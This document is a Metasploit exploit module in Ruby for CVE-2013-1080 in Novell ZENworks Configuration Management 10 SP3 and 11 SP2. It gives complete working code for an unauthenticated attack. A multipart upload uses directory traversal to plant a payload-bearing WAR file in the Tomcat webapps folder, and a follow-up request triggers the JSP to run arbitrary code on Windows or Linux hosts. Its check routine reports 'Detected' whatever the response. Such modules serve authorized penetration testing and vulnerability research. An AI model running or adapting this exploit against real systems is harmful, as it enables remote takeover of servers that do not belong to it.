Novell ZENworks Configuration Management Remote Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Novell ZENworks Configuration Management Remote Execution',  
'Description' => %q{  
This module exploits a code execution flaw in Novell ZENworks Configuration  
Management 10 SP3 and 11 SP2. The vulnerability exists in the ZEnworks Control  
Center application, allowing an unauthenticated attacker to upload a malicious file  
outside of the TEMP directory and then make a second request that allows for  
arbitrary code execution. This module has been tested successfully on Novell  
ZENworks Configuration Management 10 SP3 and 11 SP2 on Windows 2003 SP2 and SUSE  
Linux Enterprise Server 10 SP3.  
},  
'Author' =>  
[  
'James Burton', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-1080' ],  
[ 'BID', '58668' ],  
[ 'OSVDB', '91627' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-049/' ],  
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011812' ]  
],  
'Privileged' => false,  
'Platform' => [ 'win', 'linux' ],  
'Targets' =>  
[  
[ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / Windows 2003 SP2',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
'Traversal' => '../webapps/'  
}  
],  
[ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / SUSE Linux Enterprise Server 10 SP3',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
'Traversal' => '../../opt/novell/zenworks/share/tomcat/webapps/'  
}  
]  
],  
'DefaultTarget' => 1,  
'DisclosureDate' => 'Mar 22 2013'))  
  
register_options(  
[  
Opt::RPORT(443),  
OptBool.new('SSL', [true, 'Use SSL', true])  
], self.class)  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "/zenworks/jsp/fw/internal/Login.jsp"  
})  
  
if res and res.code == 200 and res.body =~ /Novell ZENworks Control Center/  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Detected  
end  
  
def exploit  
  
# Generate the WAR containing the EXE containing the payload  
app_base = rand_text_alphanumeric(4+rand(4))  
jsp_name = rand_text_alphanumeric(8+rand(8))  
  
war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s  
  
print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")  
  
# Rex::MIME::Message.new doesn't work fine with binary data, destroys "\x0d" chars  
boundary = "----#{rand_text_alpha(34)}"  
data = "--#{boundary}\r\n"  
data << "Content-Disposition: form-data; name=\"mainPage:_ctrl21a:FindFile:filePathTextBox\"; filename=\"#{target['Traversal']}#{app_base}.war\"\r\n"  
data << "Content-Type: application/octet-stream\r\n\r\n"  
data << war_data  
data << "\r\n"  
data << "--#{boundary}--"  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => "/zenworks/jsp/index.jsp?pageid=newDocumentWizard",  
'ctype' => "multipart/form-data; boundary=#{boundary}",  
'data' => data  
})  
  
if res and res.code == 302  
print_status("Upload finished, waiting 20 seconds for payload deployment...")  
else  
fail_with(Exploit::Failure::Unknown, "Failed to upload payload")  
end  
  
# Wait to ensure the uploaded war is deployed  
select(nil, nil, nil, 20)  
  
print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")  
send_request_cgi({  
'uri' => normalize_uri(app_base, "#{jsp_name}.jsp"),  
'method' => 'GET',  
})  
end  
  
end  
`